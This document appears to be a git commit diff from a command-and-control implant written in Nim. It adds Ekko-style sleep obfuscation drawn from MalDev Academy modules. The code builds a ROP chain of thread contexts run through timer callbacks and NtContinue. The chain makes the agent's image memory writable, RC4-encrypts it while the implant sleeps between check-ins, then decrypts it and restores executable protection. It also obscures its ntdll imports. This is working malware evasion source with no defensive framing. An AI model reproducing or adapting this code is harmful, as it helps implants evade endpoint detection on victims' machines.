Implemented Ekki according to MalDev module with both Native API and WinAPI; fixing race condition for both implementations.
This commit is contained in:
@@ -7,7 +7,6 @@ import sugar
|
|||||||
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
|
||||||
# The code in this file was taken from the MalDev Academy modules 54,56 & 59 and translated from C to Nim
|
# The code in this file was taken from the MalDev Academy modules 54,56 & 59 and translated from C to Nim
|
||||||
# https://maldevacademy.com/new/modules/54?view=blocks
|
# https://maldevacademy.com/new/modules/54?view=blocks
|
||||||
|
|
||||||
type
|
type
|
||||||
USTRING* {.bycopy.} = object
|
USTRING* {.bycopy.} = object
|
||||||
Length*: DWORD
|
Length*: DWORD
|
||||||
@@ -18,36 +17,27 @@ type
|
|||||||
NotificationEvent,
|
NotificationEvent,
|
||||||
SynchronizationEvent
|
SynchronizationEvent
|
||||||
|
|
||||||
# Required Windows APIs
|
# Required APIs
|
||||||
proc RegisterWaitForSingleObject*(phNewWaitObject: PHANDLE, hObject: HANDLE, Callback: WAITORTIMERCALLBACK, Context: PVOID, dwMilliseconds: ULONG, dwFlags: ULONG): WINBOOL {.winapi, stdcall, dynlib: "kernel32", importc.}
|
|
||||||
proc CreateTimerQueueTimer*(phNewTimer: PHANDLE, TimerQueue: HANDLE, Callback: WAITORTIMERCALLBACK, Parameter: PVOID, DueTime: DWORD, Period: DWORD, Flags: ULONG): WINBOOL {.winapi, stdcall, dynlib: "kernel32", importc.}
|
|
||||||
proc DeleteTimerQueue*(TimerQueue: HANDLE): WINBOOL {.winapi, stdcall, dynlib: "kernel32", importc.}
|
|
||||||
proc CreateEventW*(lpEventAttributes: LPSECURITY_ATTRIBUTES, bManualReset: WINBOOL, bInitialState: WINBOOL, lpName: LPCWSTR): HANDLE {.winapi, stdcall, dynlib: "kernel32", importc.}
|
|
||||||
# proc WaitForSingleObject*(hHandle: HANDLE, dwMilliseconds: DWORD): DWORD {.winapi, stdcall, dynlib: "kernel32", importc.}
|
|
||||||
|
|
||||||
# https://ntdoc.m417z.com/rtlcreatetimerqueue
|
# https://ntdoc.m417z.com/rtlcreatetimerqueue
|
||||||
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.}
|
proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
|
||||||
# https://ntdoc.m417z.com/ntcreateevent
|
# https://ntdoc.m417z.com/ntcreateevent
|
||||||
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.}
|
proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
|
||||||
# https://ntdoc.m417z.com/rtlcreatetimer (Using FARPROC instead of PRTL_TIMER_CALLBACK, as thats the type of NtContinue)
|
# https://ntdoc.m417z.com/rtlcreatetimer (Using FARPROC instead of PRTL_TIMER_CALLBACK, as thats the type of NtContinue)
|
||||||
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.}
|
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
|
||||||
# https://ntdoc.m417z.com/ntsignalandwaitforsingleobject
|
# https://ntdoc.m417z.com/ntsignalandwaitforsingleobject
|
||||||
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.}
|
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
|
||||||
# proc NtWaitForSingleObject(hHandle: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.winapi, stdcall, dynlib: "ntdll", importc.}
|
|
||||||
|
|
||||||
|
proc sleepEkko*(sleepDelay: int) =
|
||||||
|
|
||||||
proc sleepMask*(sleepDelay: int) =
|
|
||||||
|
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
key: USTRING = USTRING(Length: 0)
|
key: USTRING = USTRING(Length: 0)
|
||||||
img: USTRING = USTRING(Length: 0)
|
img: USTRING = USTRING(Length: 0)
|
||||||
ctx: array[6, CONTEXT]
|
ctx: array[7, CONTEXT]
|
||||||
ctxInit: CONTEXT
|
ctxInit: CONTEXT
|
||||||
hEvent: HANDLE
|
hEvent: HANDLE
|
||||||
eventStart: HANDLE
|
hEventStart: HANDLE
|
||||||
eventEnd: HANDLE
|
hEventEnd: HANDLE
|
||||||
queue: HANDLE
|
queue: HANDLE
|
||||||
timer: HANDLE
|
timer: HANDLE
|
||||||
value: DWORD = 0
|
value: DWORD = 0
|
||||||
@@ -60,7 +50,6 @@ proc sleepMask*(sleepDelay: int) =
|
|||||||
# Locate image base and size
|
# Locate image base and size
|
||||||
var imageBase = GetModuleHandleA(NULL)
|
var imageBase = GetModuleHandleA(NULL)
|
||||||
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
|
var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
|
||||||
|
|
||||||
# echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)"
|
# echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)"
|
||||||
|
|
||||||
img.Buffer = cast[PVOID](imageBase)
|
img.Buffer = cast[PVOID](imageBase)
|
||||||
@@ -71,27 +60,103 @@ proc sleepMask*(sleepDelay: int) =
|
|||||||
key.Buffer = rnd.addr
|
key.Buffer = rnd.addr
|
||||||
key.Length = cast[DWORD](rnd.len())
|
key.Length = cast[DWORD](rnd.len())
|
||||||
|
|
||||||
# # Create timer queue
|
# Create timer queue
|
||||||
# status = RtlCreateTimerQueue(addr queue)
|
status = RtlCreateTimerQueue(addr queue)
|
||||||
# if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
# raise newException(CatchableError, $status)
|
raise newException(CatchableError, $status)
|
||||||
|
|
||||||
# # Create events
|
# Create events
|
||||||
# status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
# if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
# raise newException(CatchableError, $status)
|
raise newException(CatchableError, $status)
|
||||||
|
|
||||||
# status = NtCreateEvent(addr eventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
# if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
# raise newException(CatchableError, $status)
|
raise newException(CatchableError, $status)
|
||||||
|
|
||||||
# status = NtCreateEvent(addr eventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
# if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
# raise newException(CatchableError, $status)
|
raise newException(CatchableError, $status)
|
||||||
|
|
||||||
# delay += 100
|
status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
# status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
if status == STATUS_SUCCESS:
|
||||||
# if status == STATUS_SUCCESS:
|
|
||||||
|
status = RtlCreateTimer(queue, addr timer, SetEvent, addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
|
if status == STATUS_SUCCESS:
|
||||||
|
|
||||||
|
WaitForSingleObject(hEvent, 0x32)
|
||||||
|
|
||||||
|
# Prepare ROP Chain
|
||||||
|
# Initially, each element in this array will have the same context as the timer's thread context
|
||||||
|
for i in 0 ..< ctx.len():
|
||||||
|
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
|
||||||
|
dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer
|
||||||
|
|
||||||
|
# ROP Chain
|
||||||
|
# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
|
||||||
|
ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
||||||
|
ctx[0].Rcx = cast[DWORD64](hEventStart)
|
||||||
|
ctx[0].Rdx = cast[DWORD64](INFINITE)
|
||||||
|
ctx[0].R8 = cast[DWORD64](NULL)
|
||||||
|
|
||||||
|
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
|
||||||
|
ctx[1].Rip = cast[DWORD64](VirtualProtect)
|
||||||
|
ctx[1].Rcx = cast[DWORD64](imageBase)
|
||||||
|
ctx[1].Rdx = cast[DWORD64](imageSize)
|
||||||
|
ctx[1].R8 = cast[DWORD64](PAGE_READWRITE)
|
||||||
|
ctx[1].R9 = cast[DWORD64](addr value)
|
||||||
|
|
||||||
|
# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
||||||
|
ctx[2].Rip = cast[DWORD64](SystemFunction032)
|
||||||
|
ctx[2].Rcx = cast[DWORD64](addr img)
|
||||||
|
ctx[2].Rdx = cast[DWORD64](addr key)
|
||||||
|
|
||||||
|
# ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
||||||
|
ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
||||||
|
ctx[3].Rcx = cast[DWORD64](GetCurrentProcess())
|
||||||
|
ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
|
||||||
|
ctx[3].R8 = cast[DWORD64](FALSE)
|
||||||
|
|
||||||
|
# ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
||||||
|
ctx[4].Rip = cast[DWORD64](SystemFunction032)
|
||||||
|
ctx[4].Rcx = cast[DWORD64](addr img)
|
||||||
|
ctx[4].Rdx = cast[DWORD64](addr key)
|
||||||
|
|
||||||
|
# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
||||||
|
ctx[5].Rip = cast[DWORD64](VirtualProtect)
|
||||||
|
ctx[5].Rcx = cast[DWORD64](imageBase)
|
||||||
|
ctx[5].Rdx = cast[DWORD64](imageSize)
|
||||||
|
ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
||||||
|
ctx[5].R9 = cast[DWORD64](addr value)
|
||||||
|
|
||||||
|
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
||||||
|
ctx[6].Rip = cast[DWORD64](SetEvent)
|
||||||
|
ctx[6].Rcx = cast[DWORD64](hEventEnd)
|
||||||
|
|
||||||
|
# Execute timers
|
||||||
|
for i in 0 ..< ctx.len():
|
||||||
|
delay += 100
|
||||||
|
status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, $status)
|
||||||
|
|
||||||
|
echo "[*] Triggering sleep obfuscation"
|
||||||
|
|
||||||
|
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, $status)
|
||||||
|
|
||||||
|
# queue = CreateTimerQueue()
|
||||||
|
# hEvent = CreateEventW(nil, 0, 0, nil)
|
||||||
|
# hEventStart = CreateEventW(nil, 0, 0, nil)
|
||||||
|
# hEventEnd = CreateEventW(nil, 0, 0, nil)
|
||||||
|
|
||||||
|
# if CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](RtlCaptureContext), addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD):
|
||||||
|
|
||||||
|
# if CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](SetEvent), addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD):
|
||||||
|
|
||||||
|
# # Wait until the threat context has been retrieved
|
||||||
|
# WaitForSingleObject(hEvent, 0x32)
|
||||||
|
|
||||||
# # Prepare ROP Chain
|
# # Prepare ROP Chain
|
||||||
# # Initially, each element in this array will have the same context as the timer's thread context
|
# # Initially, each element in this array will have the same context as the timer's thread context
|
||||||
@@ -99,10 +164,9 @@ proc sleepMask*(sleepDelay: int) =
|
|||||||
# copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
|
# copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
|
||||||
# dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer
|
# dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer
|
||||||
|
|
||||||
# # ROP Chain
|
# # Ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
|
||||||
# # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
|
|
||||||
# ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
# ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
||||||
# ctx[0].Rcx = cast[DWORD64](eventStart)
|
# ctx[0].Rcx = cast[DWORD64](hEventStart)
|
||||||
# ctx[0].Rdx = cast[DWORD64](INFINITE)
|
# ctx[0].Rdx = cast[DWORD64](INFINITE)
|
||||||
# ctx[0].R8 = cast[DWORD64](NULL)
|
# ctx[0].R8 = cast[DWORD64](NULL)
|
||||||
|
|
||||||
@@ -110,7 +174,7 @@ proc sleepMask*(sleepDelay: int) =
|
|||||||
# ctx[1].Rip = cast[DWORD64](VirtualProtect)
|
# ctx[1].Rip = cast[DWORD64](VirtualProtect)
|
||||||
# ctx[1].Rcx = cast[DWORD64](imageBase)
|
# ctx[1].Rcx = cast[DWORD64](imageBase)
|
||||||
# ctx[1].Rdx = cast[DWORD64](imageSize)
|
# ctx[1].Rdx = cast[DWORD64](imageSize)
|
||||||
# ctx[1].R8 = PAGE_READWRITE
|
# ctx[1].R8 = cast[DWORD64](PAGE_READWRITE)
|
||||||
# ctx[1].R9 = cast[DWORD64](addr value)
|
# ctx[1].R9 = cast[DWORD64](addr value)
|
||||||
|
|
||||||
# # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
# # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
|
||||||
@@ -121,89 +185,31 @@ proc sleepMask*(sleepDelay: int) =
|
|||||||
# # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
# # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
|
||||||
# ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
# ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx)
|
||||||
# ctx[3].Rcx = cast[DWORD64](GetCurrentProcess())
|
# ctx[3].Rcx = cast[DWORD64](GetCurrentProcess())
|
||||||
# ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
|
# ctx[3].Rdx = cast[DWORD64](sleepDelay)
|
||||||
# # ctx[3].R8 = cast[DWORD64](FALSE)
|
# ctx[3].R8 = cast[DWORD64](FALSE)
|
||||||
|
|
||||||
# # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
# # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
|
||||||
# ctx[4].Rip = cast[DWORD64](SystemFunction032)
|
# ctx[4].Rip = cast[DWORD64](SystemFunction032)
|
||||||
# ctx[4].Rcx = cast[DWORD64](addr img)
|
# ctx[4].Rcx = cast[DWORD64](addr img)
|
||||||
# ctx[4].Rdx = cast[DWORD64](addr key)
|
# ctx[4].Rdx = cast[DWORD64](addr key)
|
||||||
|
|
||||||
# # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
|
# # ctx[5] contains the call to VirtualProtect to change the payload memory back to [RWX]
|
||||||
# ctx[5].Rip = cast[DWORD64](VirtualProtect)
|
# ctx[5].Rip = cast[DWORD64](VirtualProtect)
|
||||||
# ctx[5].Rcx = cast[DWORD64](imageBase)
|
# ctx[5].Rcx = cast[DWORD64](imageBase)
|
||||||
# ctx[5].Rdx = cast[DWORD64](imageSize)
|
# ctx[5].Rdx = cast[DWORD64](imageSize)
|
||||||
|
# ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
|
||||||
# ctx[5].R9 = cast[DWORD64](addr value)
|
# ctx[5].R9 = cast[DWORD64](addr value)
|
||||||
|
|
||||||
# # ctx[6] contains the call to the SetEvent WinAPI that will set eventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
# # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
||||||
# ctx[6].Rip = cast[DWORD64](SetEvent)
|
# ctx[6].Rip = cast[DWORD64](SetEvent)
|
||||||
# ctx[6].Rcx = cast[DWORD64](eventEnd)
|
# ctx[6].Rcx = cast[DWORD64](hEventEnd)
|
||||||
|
|
||||||
# echo "[*] Queue sleep obfuscation chain"
|
|
||||||
|
|
||||||
# # Execute timers
|
|
||||||
# for i in 0 ..< ctx.len():
|
# for i in 0 ..< ctx.len():
|
||||||
# delay += 100
|
# delay += 100
|
||||||
# status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
# CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](NtContinue), addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
# if status != STATUS_SUCCESS:
|
|
||||||
# raise newException(CatchableError, $status)
|
|
||||||
|
|
||||||
# echo "[*] Trigger sleep obfuscation chain"
|
# echo "[*] Triggering sleep obfuscation."
|
||||||
|
|
||||||
# status = NtSignalAndWaitForSingleObject(eventStart, eventEnd, FALSE, NULL)
|
# SignalObjectAndWait(hEventStart, hEventEnd, INFINITE, FALSE)
|
||||||
# if status != STATUS_SUCCESS:
|
|
||||||
# raise newException(CatchableError, $status)
|
|
||||||
|
|
||||||
hEvent = CreateEventW(nil, 0, 0, nil)
|
# DeleteTimerQueue(queue)
|
||||||
queue = CreateTimerQueue()
|
|
||||||
|
|
||||||
if CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](RtlCaptureContext), addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD):
|
|
||||||
|
|
||||||
WaitForSingleObject(hEvent, 0x32)
|
|
||||||
|
|
||||||
# Prepare ROP Chain
|
|
||||||
# Initially, each element in this array will have the same context as the timer's thread context
|
|
||||||
for i in 0 ..< ctx.len():
|
|
||||||
copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
|
|
||||||
dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer
|
|
||||||
|
|
||||||
# Change memory protection to [RW-]
|
|
||||||
ctx[0].Rip = cast[DWORD64](VirtualProtect)
|
|
||||||
ctx[0].Rcx = cast[DWORD64](imageBase)
|
|
||||||
ctx[0].Rdx = cast[DWORD64](imageSize)
|
|
||||||
ctx[0].R8 = PAGE_READWRITE
|
|
||||||
ctx[0].R9 = cast[DWORD64](addr value)
|
|
||||||
|
|
||||||
# Encrypt image memory using RC4 via the SystemFunction032 function
|
|
||||||
ctx[1].Rip = cast[DWORD64](SystemFunction032)
|
|
||||||
ctx[1].Rcx = cast[DWORD64](addr img)
|
|
||||||
ctx[1].Rdx = cast[DWORD64](addr key)
|
|
||||||
|
|
||||||
# Delay execution until a specific timeout has been reached
|
|
||||||
ctx[2].Rip = cast[DWORD64](WaitForSingleObject)
|
|
||||||
ctx[2].Rcx = cast[DWORD64](GetCurrentProcess())
|
|
||||||
ctx[2].Rdx = cast[DWORD64](sleepDelay)
|
|
||||||
|
|
||||||
# Decrypt the image memory back to its original state
|
|
||||||
ctx[3].Rip = cast[DWORD64](SystemFunction032)
|
|
||||||
ctx[3].Rcx = cast[DWORD64](addr img)
|
|
||||||
ctx[3].Rdx = cast[DWORD64](addr key)
|
|
||||||
|
|
||||||
# Change the memory protection back to [RWX]
|
|
||||||
ctx[4].Rip = cast[DWORD64](VirtualProtect)
|
|
||||||
ctx[4].Rcx = cast[DWORD64](imageBase)
|
|
||||||
ctx[4].Rdx = cast[DWORD64](imageSize)
|
|
||||||
ctx[4].R8 = PAGE_EXECUTE_READWRITE
|
|
||||||
ctx[4].R9 = cast[DWORD64](addr value)
|
|
||||||
|
|
||||||
# Signal that the obfuscation chain was completed
|
|
||||||
ctx[5].Rip = cast[DWORD64](SetEvent)
|
|
||||||
ctx[5].Rcx = cast[DWORD64](hEvent)
|
|
||||||
|
|
||||||
for i in 0 ..< ctx.len():
|
|
||||||
delay += 100
|
|
||||||
CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](NtContinue), addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
|
||||||
|
|
||||||
WaitForSingleObject(hEvent, INFINITE)
|
|
||||||
|
|
||||||
DeleteTimerQueue(queue)
|
|
||||||
@@ -35,11 +35,7 @@ proc main() =
|
|||||||
|
|
||||||
while true:
|
while true:
|
||||||
|
|
||||||
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
|
sleepEkko(ctx.sleep * 1000)
|
||||||
|
|
||||||
sleepMask(ctx.sleep * 1000)
|
|
||||||
|
|
||||||
# sleep(ctx.sleep * 1000)
|
|
||||||
|
|
||||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||||
echo fmt"[{date}] Checking in."
|
echo fmt"[{date}] Checking in."
|
||||||
|
|||||||
Reference in New Issue
Block a user